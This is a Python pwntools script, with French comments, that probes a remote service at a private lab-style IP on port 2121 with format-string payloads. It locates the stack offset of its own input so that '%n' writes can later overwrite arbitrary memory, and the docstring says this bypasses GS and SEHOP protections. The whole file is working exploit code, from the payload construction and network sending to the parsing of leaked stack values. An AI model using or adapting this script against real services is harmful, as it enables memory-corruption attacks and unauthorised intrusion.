#!/usr/bin/env python3
"""
Trouve a quelle position format-string notre input apparait sur la pile.
Si on peut reference notre propre input via %N$x, on peut utiliser %n
pour ecrire a des adresses arbitraires (bypass total de GS + SEHOP).

Technique :
  - On envoie un marqueur (4 bytes uniques) suivi de %N$x
  - On cherche notre marqueur dans la sortie
  - La position N ou le marqueur apparait = notre offset d'input
"""
from pwn import remote, log
import struct, sys

CIBLE_IP   = "10.129.2.76"
CIBLE_PORT = 2121
MARKER     = b"WXYZ"
MARKER_LE  = struct.unpack("<I", MARKER)[0]

log.info(f"Marqueur: {MARKER.decode()} = 0x{MARKER_LE:08x} (little-endian)")
log.info(f"On cherche cette valeur dans les positions format string 1-300")
log.info(f"Cible: {CIBLE_IP}:{CIBLE_PORT}")
print(flush=True)

BATCH = 20

found_positions = []

for start in range(1, 301, BATCH):
    end = min(start + BATCH, 301)
    positions = list(range(start, end))

    fmt_parts = [f"%{p}$08x" for p in positions]
    payload = MARKER + b"|" + b".".join(s.encode() for s in fmt_parts)

    log.info(f"Test positions {start}-{end-1}... (payload {len(payload)}o)")
    sys.stdout.flush()

    try:
        c = remote(CIBLE_IP, CIBLE_PORT, level="error")
        c.sendline(b"TEST " + payload)
        try:
            resp = c.recvall(timeout=3).decode(errors="ignore")
        except:
            resp = ""
        c.close()
    except Exception as e:
        log.warning(f"  Connexion echouee: {e}")
        continue

    if not resp:
        log.warning(f"  Pas de reponse (crash?)")
        continue

    if "Path:" in resp:
        data = resp.split("Path:")[1].strip()
    else:
        data = resp.strip()

    marker_prefix = MARKER.decode() + "|"
    if marker_prefix in data:
        data = data.split(marker_prefix, 1)[1]

    values = [v.strip().rstrip(".") for v in data.split(".") if v.strip()]

    for i, val in enumerate(values):
        val_clean = val.strip()
        if not val_clean:
            continue
        pos = positions[i] if i < len(positions) else start + i

        if val_clean.lower() == f"{MARKER_LE:08x}":
            log.success(f"  *** TROUVE! Position {pos} = 0x{MARKER_LE:08x} = notre marqueur '{MARKER.decode()}' ***")
            found_positions.append(pos)
        elif "57585950" in val_clean.lower() or "5a595857" in val_clean.lower():
            log.success(f"  *** TROUVE (partiel)! Position {pos} = {val_clean} ***")
            found_positions.append(pos)

    if len(values) > 0 and len(values) < len(positions):
        log.warning(f"  Seulement {len(values)}/{len(positions)} valeurs recues (troncature?)")
        sample = values[:5]
        log.info(f"  Echantillon: {sample}")

if found_positions:
    print(f"\n{'='*60}", flush=True)
    print(f" RESULTAT : Input trouve aux positions: {found_positions}", flush=True)
    print(f" On peut utiliser %{found_positions[0]}$n pour ecrire en memoire!", flush=True)
    print(f"{'='*60}", flush=True)
else:
    print(f"\n{'='*60}", flush=True)
    print(f" RESULTAT : Marqueur 0x{MARKER_LE:08x} NON TROUVE dans les positions 1-300", flush=True)
    print(f" L'input est probablement sur le heap, pas sur la pile.", flush=True)
    print(f" Alternative : chercher une adresse stack connue dans le dump", flush=True)
    print(f"   pour pointer vers notre buffer (technique plus avancee).", flush=True)
    print(f"{'='*60}", flush=True)

    log.info("Tentative alternative: envoyer des marqueurs a differentes positions")
    log.info("pour verifier l'alignement...")

    for offset in range(4):
        payload2 = b"A" * offset + MARKER + b"|%1$08x.%2$08x.%3$08x.%4$08x.%5$08x"
        try:
            c = remote(CIBLE_IP, CIBLE_PORT, level="error")
            c.sendline(b"TEST " + payload2)
            resp2 = c.recvall(timeout=3).decode(errors="ignore")
            c.close()
            if "Path:" in resp2:
                d = resp2.split("Path:")[1].strip()
            else:
                d = resp2.strip()
            log.info(f"  Offset {offset}: reponse = {d[:120]}...")
        except:
            pass
